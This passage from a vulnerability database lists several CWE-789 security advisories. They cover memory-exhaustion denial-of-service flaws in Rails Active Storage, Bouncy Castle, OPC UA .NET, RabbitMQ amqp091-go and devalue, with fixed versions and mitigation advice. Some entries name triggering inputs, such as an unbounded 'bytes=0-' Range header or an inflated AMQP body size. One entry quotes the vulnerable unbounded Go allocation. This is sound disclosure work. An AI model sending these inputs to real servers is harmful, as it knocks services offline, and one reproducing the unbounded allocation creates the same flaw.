            },
            {
              "fixed": "8.1.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "activestorage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0.beta1"
            },
            {
              "fixed": "8.0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "activestorage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-23T21:08:54Z",
    "nvd_published_at": "2026-03-24T00:16:28Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nWhen serving files through Active Storage\u0027s `Blobs::ProxyController`, the controller loads the entire requested byte range into memory before sending it. A request with a large or unbounded Range header (e.g. `bytes=0-`) could cause the server to allocate memory proportional to the file size, possibly resulting in a DoS vulnerability through memory exhaustion.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\n### Credit\nThis issue was responsibly reported by Hackerone user [pirikara](https://hackerone.com/pirikara)",
  "id": "GHSA-r46p-8f7g-vvvg",
  "modified": "2026-05-13T16:16:08Z",
  "published": "2026-03-23T21:08:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/security/advisories/GHSA-r46p-8f7g-vvvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33174"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/commit/2cd933c366b777f873d4d590127da2f4a25e4ba5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/commit/42012eaaa88dfc7d0030161b2bc8074a7bbce92a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/commit/8159a9c3de3f27a2bcf2866b8bf9ceb9075e229b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rails/rails"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v7.2.3.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v8.0.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rails/rails/releases/tag/v8.1.2.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/CVE-2026-33174.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rails Active Storage has a possible DoS vulnerability when in proxy mode via Range requests"
}

GHSA-R7H8-35PV-FWGX

Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-09-02 15:34
VLAI
Details

In Bouncy Castle for Java before 1.85, OpenPGP user-attribute subpacket length bounded only by JVM max memory. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 1.0.13 (1.0.X series), 2.0.13 (2.0.X series) and 2.1.13 (2.1.X series).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T01:16:45Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, OpenPGP user-attribute subpacket length bounded only by JVM max memory. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 1.0.13 (1.0.X series), 2.0.13 (2.0.X series) and 2.1.13 (2.1.X series).",
  "id": "GHSA-r7h8-35pv-fwgx",
  "modified": "2026-09-02T15:34:21Z",
  "published": "2026-08-03T03:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/a43c40dc12c3e1c6cbd03c83fe30aaec4029b824"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9059649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-59649"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R7PQ-3X6P-7JCM

Vulnerability from github – Published: 2022-06-17 21:45 – Updated: 2022-09-01 20:12
VLAI
Summary
Memory Allocation with Excessive Size Value in OPCFoundation.NetStandard.Opc.Ua.Core
Details

A vulnerability was discovered in the OPC UA .NET Standard Stack that allows a malicious client to cause a server to trigger an out of memory exception with a carefully crafted message.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.368.53"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "OPCFoundation.NetStandard.Opc.Ua.Core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.368.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-29863"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-17T21:45:15Z",
    "nvd_published_at": "2022-06-16T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was discovered in the OPC UA .NET Standard Stack that allows a malicious client to cause a server to trigger an out of memory exception with a carefully crafted message.",
  "id": "GHSA-r7pq-3x6p-7jcm",
  "modified": "2022-09-01T20:12:37Z",
  "published": "2022-06-17T21:45:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OPCFoundation/UA-.NETStandard/security/advisories/GHSA-r7pq-3x6p-7jcm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29863"
    },
    {
      "type": "WEB",
      "url": "https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2022-29863.pdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OPCFoundation/UA-.NETStandard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Memory Allocation with Excessive Size Value in OPCFoundation.NetStandard.Opc.Ua.Core"
}

GHSA-R9C8-GCJP-XFWH

Vulnerability from github – Published: 2026-09-17 17:04 – Updated: 2026-09-17 17:04
VLAI
Summary
RabbitMQ amqp091-go: Resource Exhaustion (OOM) via Unbounded Body Buffer Allocation
Details

Summary A flaw in the recvContent function allows a malicious AMQP server to trigger an Out-of-Memory (OOM) error, forcing the host operating system or container runtime to immediately terminate the client process.

Vulnerability Details When receiving message content payloads, the client processes the expected size from the content header framework. The recvContent function attempts to optimize performance by pre-allocating memory for the message body based on the ch.header.Size field, which is a 64-bit unsigned integer (uint64).

// channel.go:495-496
if cap(ch.body) == 0 {
    ch.body = make([]byte, 0, ch.header.Size)  // unbounded
}

The underlying library fails to validate or cap this requested size against any upper boundary—such as the maximum frame size negotiated during connection establishment (FrameMax). If a server specifies an extreme body size (e.g., 2^62 bytes), the Go runtime attempts to allocate an exabyte-scale slice capacity. This immediately exhausts available system memory, causing the operating system's OOM killer to terminate the application.

Attack Vector / Exploitation Scenario

  • Message Delivery Phase: A malicious or compromised AMQP broker sends a standard basic.deliver frame containing a content header with an intentionally inflated body-size variable.
  • Authentication Requirement: No special privileges or authentication bypasses are required; the crash occurs seamlessly during normal message consumption.

Impact

  • Availability: High. Exploded memory consumption results in an instant process termination, destroying application state and availability for all threads sharing the environment.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rabbitmq/amqp091-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:04:20Z",
    "nvd_published_at": "2026-09-16T15:17:50Z",
    "severity": "HIGH"
  },
  "details": "**Summary**\nA flaw in the `recvContent` function allows a malicious AMQP server to trigger an Out-of-Memory (OOM) error, forcing the host operating system or container runtime to immediately terminate the client process.\n\n**Vulnerability Details**\nWhen receiving message content payloads, the client processes the expected size from the content header framework. The `recvContent` function attempts to optimize performance by pre-allocating memory for the message body based on the `ch.header.Size` field, which is a 64-bit unsigned integer (`uint64`).\n\n```go\n// channel.go:495-496\nif cap(ch.body) == 0 {\n    ch.body = make([]byte, 0, ch.header.Size)  // unbounded\n}\n```\n\nThe underlying library fails to validate or cap this requested size against any upper boundary\u2014such as the maximum frame size negotiated during connection establishment (`FrameMax`). If a server specifies an extreme body size (e.g., `2^62` bytes), the Go runtime attempts to allocate an exabyte-scale slice capacity. This immediately exhausts available system memory, causing the operating system\u0027s OOM killer to terminate the application.\n\n**Attack Vector / Exploitation Scenario**\n\n- Message Delivery Phase: A malicious or compromised AMQP broker sends a standard `basic.deliver` frame containing a content header with an intentionally inflated `body-size` variable.\n- Authentication Requirement: No special privileges or authentication bypasses are required; the crash occurs seamlessly during normal message consumption.\n\n**Impact**\n\n- Availability: High. Exploded memory consumption results in an instant process termination, destroying application state and availability for all threads sharing the environment.",
  "id": "GHSA-r9c8-gcjp-xfwh",
  "modified": "2026-09-17T17:04:20Z",
  "published": "2026-09-17T17:04:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/security/advisories/GHSA-r9c8-gcjp-xfwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/pull/346"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/commit/91b65fa0096a99a580cf51a31b24028ff1c60382"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rabbitmq/amqp091-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rabbitmq/amqp091-go/releases/tag/v1.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RabbitMQ amqp091-go: Resource Exhaustion (OOM) via Unbounded Body Buffer Allocation"
}

GHSA-R9W8-H9R3-54W4

Vulnerability from github – Published: 2026-10-01 15:15 – Updated: 2026-10-01 15:15
VLAI
Summary
devalue: Custom ArrayBuffer revivers can bypass typed-array allocation validation
Details

Under very specific circumstances, parse could create massive ArrayBuffers with very small input. This required a malformed ArrayBuffer custom reviver.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "devalue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-789",
      "CWE-843"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:15:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Under very specific circumstances, `parse` could create massive ArrayBuffers with very small input. This required a malformed `ArrayBuffer` custom reviver.",
  "id": "GHSA-r9w8-h9r3-54w4",
  "modified": "2026-10-01T15:15:56Z",
  "published": "2026-10-01T15:15:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-r9w8-h9r3-54w4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/8f8d78e173f8a00023d009c7677ccc600dee0b99"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/devalue"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/releases/tag/v5.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "devalue: Custom ArrayBuffer revivers can bypass typed-array allocation validation"
}

Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.